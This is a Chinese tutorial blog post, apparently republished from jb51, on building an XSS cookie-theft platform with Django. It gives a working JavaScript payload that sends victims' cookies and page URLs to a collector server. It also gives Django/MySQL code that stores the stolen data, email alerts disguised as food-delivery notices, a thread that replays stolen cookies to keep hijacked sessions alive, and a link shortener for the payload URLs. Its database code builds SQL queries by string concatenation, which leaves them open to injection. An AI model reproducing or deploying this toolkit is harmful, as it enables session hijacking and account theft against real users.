经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 程序设计 » Django » 查看文章
使用Django简单编写一个XSS平台的方法步骤
来源:jb51  时间:2019/3/25 10:13:21  对本文有异议

1) 简要描述

原理十分简单2333,代码呆萌,大牛勿喷 >_<

2) 基础知识

  • XSS攻击基本原理和利用方法
  • Django框架的使用

3) Let's start

0x01

工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:

  • python 3.7.0
  • pycharm
  • windows 10
  • mysql 8.0.15
  • Django 2.1.3

需要用到的第三方库:

  • django
  • pymysql
  • requests

0x02

我们先看一下XSS脚本是如何工作的

  1. var website = "http://127.0.0.1"; (function() { (new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
  2. try {
  3. return document.location.href
  4. } catch(e) {
  5. return ''
  6. }
  7. })()) + '&toplocation=' + escape((function() {
  8. try {
  9. return top.location.href
  10. } catch(e) {
  11. return ''
  12. }
  13. })()) + '&cookie=' + escape((function() {
  14. try {
  15. return document.cookie
  16. } catch(e) {
  17. return ''
  18. }
  19. })()) + '&opener=' + escape((function() {
  20. try {
  21. return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
  22. } catch(e) {
  23. return ''
  24. }
  25. })());
  26. })();

这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为GET参数传给服务器。

注意:这里使用AJAX可能会出现CORS跨域问题。

0x03

先给出关键代码,其他都是Django相关的内容,这里不做相关讨论。

  1. """
  2. 根据url值动态返回相应的javascript代码
  3. """
  4. import pymysql,os
  5. from user.safeio import re_check
  6.  
  7. def get_info(url):
  8. if not re_check(url,'num_letter'):
  9. return 'default'
  10. db = pymysql.connect('localhost','root','root','xss')
  11. cursor = db.cursor()
  12. cursor.execute("Select name From projects Where url='"+url+"'")
  13. js_name = cursor.fetchone()[0]
  14. if js_name == None:
  15. return 'default'
  16. else:
  17. return (js_name)
  18.  
  19. def get_js_value(url):
  20. js_name = get_info(url)
  21. file = '\\script\\'+js_name + '.js'
  22. js_value = open(os.getcwd()+file).read()
  23. js_value = js_value.replace('<-1234->',url)
  24. return js_value
  1. import pymysql,time
  2. from .getscript import get_info
  3.  
  4. def connect():
  5. try:
  6. db = pymysql.connect('localhost', 'root', 'root', 'xss')
  7. cursor = db.cursor()
  8. return db,cursor
  9. except:
  10. print('连接数据库失败,正在尝试重新连接')
  11. connect()
  12.  
  13. def put_letter(requests,url):
  14. now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))[2:]
  15. if 'HTTP_X_FORWARDED_FOR' in requests.META:
  16. ip = requests.META['HTTP_X_FORWARDED_FOR']
  17. else:
  18. try:
  19. ip = requests.META['REMOTE_ADDR']
  20. except:
  21. ip = '0.0.0.0'
  22. ip = ip.replace("'","\'")
  23. origin = requests.GET.get('location','Unknown').replace("'","\'")
  24. software = requests.META.get('HTTP_USER_AGENT','Unknown').replace("'","\'")
  25. method = requests.method.replace("'","\'")
  26. data = requests.GET.get('cookie','No data').replace("'","\'")
  27. keep_alive = requests.GET.get('keepsession','0').replace("'","\'")
  28. list = [now_time,ip,origin,software,method,data,keep_alive]
  29. put_mysql(list,url)
  30.  
  31. def put_mysql(list,url):
  32. db,cursor = connect()
  33. name = get_info(url)
  34. cursor.execute("Select user From projects Where url='"+url+"'")
  35. user = cursor.fetchone()[0]
  36. m_query = "INSERT INTO letters(time,name,ip,origin,software,method,data,user,keep_alive) VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"
  37. m_query = m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6])
  38. cursor.execute(m_query)
  39. db.commit()
  40. db.close()
  41.  
  42. def get_letters(username):
  43. db, cursor = connect()
  44. m_query = "SELECT * FROM letters WHERE user = '{}'"
  45. m_query = m_query.format(username)
  46. cursor.execute(m_query)
  47. result_list = cursor.fetchall()
  48. return result_list
  49.  

既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台,我们只需在服务器接受数据并保存即可。

0x04

我们可以为我们的平台编写新的功能以完善我们的平台,如邮件提醒,cookie活性保持等

  1. #coding=utf-8
  2.  
  3. '''
  4. 邮件发送
  5. '''
  6.  
  7. import smtplib
  8. from email.mime.text import MIMEText
  9. from email.utils import formataddr
  10.  
  11. my_sender='xxxx'
  12. my_pass = 'xxxx'
  13.  
  14. def send_mail(user_mail):
  15. try:
  16. print(user_mail)
  17. msg=MIMEText('您点的外卖已送达,请登录平台查询','plain','utf-8')
  18. msg['From']=formataddr(["XSS平台",my_sender])
  19. msg['To']=formataddr(["顾客",user_mail])
  20. msg['Subject']="您点的外卖已送达,请登录平台查询"
  21. server=smtplib.SMTP_SSL("smtp.qq.com", 465)
  22. server.login(my_sender, my_pass)
  23. server.sendmail(my_sender,[user_mail,],msg.as_string())
  24. server.quit()
  25. except Exception:
  26. pass
  1. '''
  2.  
  3. 使用独立于主线程的其他线程
  4.  
  5.  
  6. 来保持通用项目的cookie信息'活性'
  7.  
  8.  
  9. 默认保持一个小时的活性
  10. '''
  11.  
  12. import requests,queue,time,pymysql
  13.  
  14. Cookie_Time = 1
  15.  
  16. def decrease(time,number):
  17. if time < number:
  18. time = '0'+str(time)
  19. else:
  20. time = str(time)
  21. return time
  22.  
  23. def count_time(now_time):
  24. global Cookie_Time
  25. year = int(now_time[0:2])
  26. month = int(now_time[3:5])
  27. day = int(now_time[6:8])
  28. hours = int(now_time[9:11])
  29. if hours < Cookie_Time:
  30. if day == 1:
  31. if month == 1:
  32. month=12
  33. year -= 1
  34. else:
  35. day=30
  36. month -= 1
  37. else:
  38. day -= 1
  39. hours += 19
  40. else:
  41. hours -= 5
  42. hours = decrease(hours,10)
  43. day = decrease(day,10)
  44. month = decrease(month,10)
  45. year = decrease(year,10)
  46. dec_time = ("{0}-{1}-{2} {3}").format(year,month,day,hours) + now_time[11:]
  47. return dec_time
  48.  
  49. def create_queue():
  50. Cookie_queue = queue.Queue()
  51. now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))[2:]
  52. dec_time = count_time(now_time)
  53. m_query = ("SELECT software,origin,data FROM letters WHERE name='default' and time>'{}' and keep_alive = '1'").format(dec_time)
  54. db = pymysql.connect('127.0.0.1','root','root','xss')
  55. cursor = db.cursor()
  56. cursor.execute(m_query)
  57. return_list = cursor.fetchall()
  58. for x in return_list:
  59. Cookie_queue.put(x)
  60. return Cookie_queue
  61.  
  62. def action():
  63. while True:
  64. time.sleep(60)
  65. task_queue = create_queue()
  66. while not task_queue.empty():
  67. tasks = task_queue.get()
  68. url = tasks[1]
  69. ua = tasks[0]
  70. cookie = tasks[2]
  71. headers = {'User-Agent': ua, 'Cookie': cookie}
  72. try:
  73. requests.get(url, headers=headers)
  74. except:
  75. pass
  76.  

注意这里需要使用独立于django主线程的子线程,比如我在manager.py里添加了这么一段代码:

  1. import threading
  2. from xssplatform.keep_alive import action
  3.  
  4. class keep_Thread(threading.Thread):
  5. def __init__(self):
  6. super(keep_Thread,self).__init__()
  7. def run(self):
  8. action()
  9.  
  10. if __name__ == '__main__':
  11. th = keep_Thread()
  12. th.start()
  13.  

短链接:

  1. '''
  2. 短链接生成
  3. 接口c7.gg
  4. '''
  5.  
  6. import requests,json
  7.  
  8. Headers = {
  9. "accept" : "application/json, text/javascript, */*; q=0.01",
  10. "accept-encoding" : "gzip, deflate, br",
  11. "accept-language" : "zh-CN,zh;q=0.9,en;q=0.8",
  12. "content-length" : "53",
  13. "content-type" : "application/x-www-form-urlencoded; charset=UTF-8",
  14. "origin" : "https://www.985.so",
  15. "referer" : "https://www.985.so/",
  16. "user-agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",
  17. }
  18.  
  19. def url_to_short(url):
  20. global Headers
  21. data = {'type':'c7','url':url}
  22. r = requests.post('https://create.ft12.com/done.php?m=index&a=urlCreate',data=data,headers=Headers)
  23. list = json.loads(r.text)
  24. return list['list']
  25.  

4) 最后

其实看起来高大上的XSS平台原理就那么简单,真正难的部分是关于XSS跨站脚本的编写。

此项目已开源于 Github ,有任何问题可以提交issue,我会在第一时间进行回复。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持w3xue。

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号